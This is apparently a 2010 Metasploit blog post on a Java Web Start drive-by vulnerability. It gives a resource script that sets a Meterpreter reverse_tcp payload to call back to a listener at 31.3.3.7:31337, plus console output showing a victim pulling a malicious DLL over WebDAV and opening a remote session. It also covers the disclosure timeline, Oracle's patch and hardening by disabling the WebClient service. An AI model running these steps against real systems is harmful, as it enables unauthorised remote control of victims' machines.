Last updated at Wed, 27 Sep 2017 21:05:51 GMT
Back on April 9th, Tavis Ormandy dropped a bit of a bomb shell on the full-disclosure mailing list. To summarize, Tavis found that a DBD attack was possible utilizing the latest Java Runtime. He reported it to Oracle/Sun, which assessed its severity and stated they didn't plan to patch it out of cycle. Based on his tweets, Tavis found out that other researchers were aware of this issue, and decided to disclose the issue to the public without delay. Shortly after the disclosure, Ruben Santamarta asserted that he had independently discovered it as well, and disclosed his version. That's means at least three independent researchers knew of the issue when it was released on Friday.
Early this afternoon, I committed a Metasploit Framework exploit module for this issue. Before I go any further, let me explain what is required for this module to work. You must run the module as root on a machine that does not run an SMB server. This way, fetching the UNC path will fail using SMB and fall back to the WebDAV Mini-Redirector. That leads me to the second requirement. If the target host does not have the WebClient service enabled, this module will not be able to obtain a session. You can check the status of the WebClient service like this:
C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING
This service controls whether or not the WebDAV Mini-Redirector functionality is enabled. Steve Tornio of OSVDB and his desktop integration guy pointed this out. Thank you very much! BTW, ^5 (high five) for disabling this service by default in your environment. I recommend others follow suit to harden their systems...
BTW, exploiting this vulnerability using SMB is most likely possible, but wasn't investigated. If so, all this mess about disabling the WebDAV Mini-Redirector becomes irrelevant. Blocking an SMB version of this exploit would be trickier, and usually means firewalling outbound SMB traffic.
Now, on to using the exploit module. To do most of my testing I use the recently discussed resource script functionality.
$ cat java_ws_arginject.msfrc
use exploit/windows/browser/java_ws_arginject_altjvm
set LHOST 31.3.3.7
set LPORT 31337
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
$
Running msfconsole using this resource script looks like this:
$ msfconsole -r java_ws_arginject.msfrc
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 542 exploits - 257 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
=[ svn r9085 updated today (2010.04.15)
resource (java_ws_arginject.msfrc)> use exploit/windows/browser/java_ws_arginject_altjvm
resource (java_ws_arginject.msfrc)> set LHOST 31.3.3.7
LHOST => 31.3.3.7
resource (java_ws_arginject.msfrc)> set LPORT 31337
LPORT => 31337
resource (java_ws_arginject.msfrc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (java_ws_arginject.msfrc)> exploit
[*] Exploit running as background job.
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 31.3.3.7:31337
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://31.3.3.7:80/
[*] Server started.
Now, when the target visits this URL, the following appears:
[*] Request for "/" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Responding to "GET /3GE9ACbFvazjwOL/" request from 141.146.9.91:3942
[*] Sending HTML to 141.146.9.91:3942...
[*] Responding to WebDAV "OPTIONS /" request from 141.146.9.91:3949
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 141.146.9.91:3949
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 141.146.9.91:3949
[*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ...
[*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/jvm.dll" request from 141.146.9.91:3949
[*] Sending DLL multistatus for /3GE9ACbFvazjwOL/jvm.dll ...
[*] Responding to "GET /3GE9ACbFvazjwOL/jvm.dll" request from 141.146.9.91:3949
[*] Sending DLL to 141.146.9.91:3949...
[*] (UUID:horcpvyf) Sending stage (748032 bytes) to 141.146.9.91
[*] Meterpreter session 1 opened (31.3.3.7:31337 -> 141.146.9.91:3950)
As you can see, the exploit was successful and yielded a Meterpreter session.
The vulnerable test machine was an out-of-date Windows XP SP3 machine running Java Runtime Environment 6 Update 18. As Tavis said, it should work on any machine using JRE 6 Update 10 or newer.
Yesterday, HD pointed me at a Wepawet analysis that included what appeared to be an attempt to exploit this vulnerability. Unfortunately, I wasn't able to download the calc223.jar payload that was referenced in the analysis -- if you have it, please share! Apparently, that was enough to put the Oracle security process into fast forward. Today, they released an update to correct the issue, as well as an advisory and a blog post to spread the word. Nice work Oracle/Sun!
On a side note (yes, another one), during testing I noticed some odd crashes that would occur occasionally when the DLL failed to load. When I went to close the browser, it would crash de-referencing data that appeared to be an ASCII string! Oh no! I haven't looked further, but I'm guessing it is the second, mysterious CVE that Oracle mentioned today. Hard to tell for sure since Oracle doesn't generally like to confirm or deny that kind of information...
